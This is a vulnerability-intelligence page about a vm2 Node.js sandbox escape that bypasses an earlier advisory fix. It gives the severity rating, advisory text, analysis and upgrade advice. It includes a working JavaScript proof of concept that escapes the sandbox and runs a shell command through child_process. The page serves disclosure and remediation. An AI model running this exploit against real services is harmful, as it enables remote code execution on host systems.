Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vm2's model treats sandboxed code as attacker-controlled (PR:N), a published PoC gives AC:L, and escaping the sandbox to the host crosses a security authority so S:C with full C/I/A host impact.
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4Blast Radius
ecosystem impact- 114 npm packages depend on vm2 (5 direct, 109 indirect)
Ecosystem-wide dependent count for version 3.11.6.
DescriptionCVE.org
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
AnalysisAI
Sandbox escape in the vm2 Node.js sandboxing library (npm, versions <= 3.11.5) lets code running inside the sandbox reach host prototype mutators and execute arbitrary OS commands on the host. It bypasses the earlier GHSA-v6mx-mf47-r5wg fix by stacking Function.prototype.call indirection so the dangerous __proto__ setter is no longer in the inspected position, then leaks a live host reference through a rejected WebAssembly.compileStreaming promise to pivot to child_process. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target application run attacker-controlled JavaScript inside a vm2 sandbox at version 3.11.5 or earlier - this is the exact and only prerequisite, and it is the library's normal intended use, so it is trivially met wherever vm2 evaluates untrusted input. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8) rates this maximally severe, and the threat model matters: vm2's entire purpose is to execute attacker-supplied code, so the 'privileges' bar is effectively met by design and a reliable published PoC removes exploitation complexity. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An application uses vm2 to run user-submitted JavaScript (for example a code-evaluation feature, template engine, or automation platform). An attacker submits the published PoC, which stacks Buffer.call indirection to bypass the prototype-mutator guard and leaks a host reference from a rejected WebAssembly.compileStreaming promise, then calls child_process.execSync to run OS commands on the host. … |
| Remediation | Vendor-released patch: 3.11.6 - upgrade the vm2 dependency to 3.11.6 or later, which closes this bypass along with four other advisories (GHSA-gmc2-2x9w-cgh9, GHSA-m283-3h24-438v, GHSA-m5w8-4gq2-6f8x, GHSA-v836-6xw4-9cx3); the release notes state there are no API changes for valid configurations, though users of builtin: ['*'] that depend on os or dns must re-introduce them via require.mock/require.override. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, conduct an urgent asset inventory to identify all systems running vm2 versions 3.11.5 or earlier using software composition analysis tools; immediately disable or isolate affected services and block any external access to vm2-dependent endpoints. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-60459
GHSA-cfcw-xp6x-25gj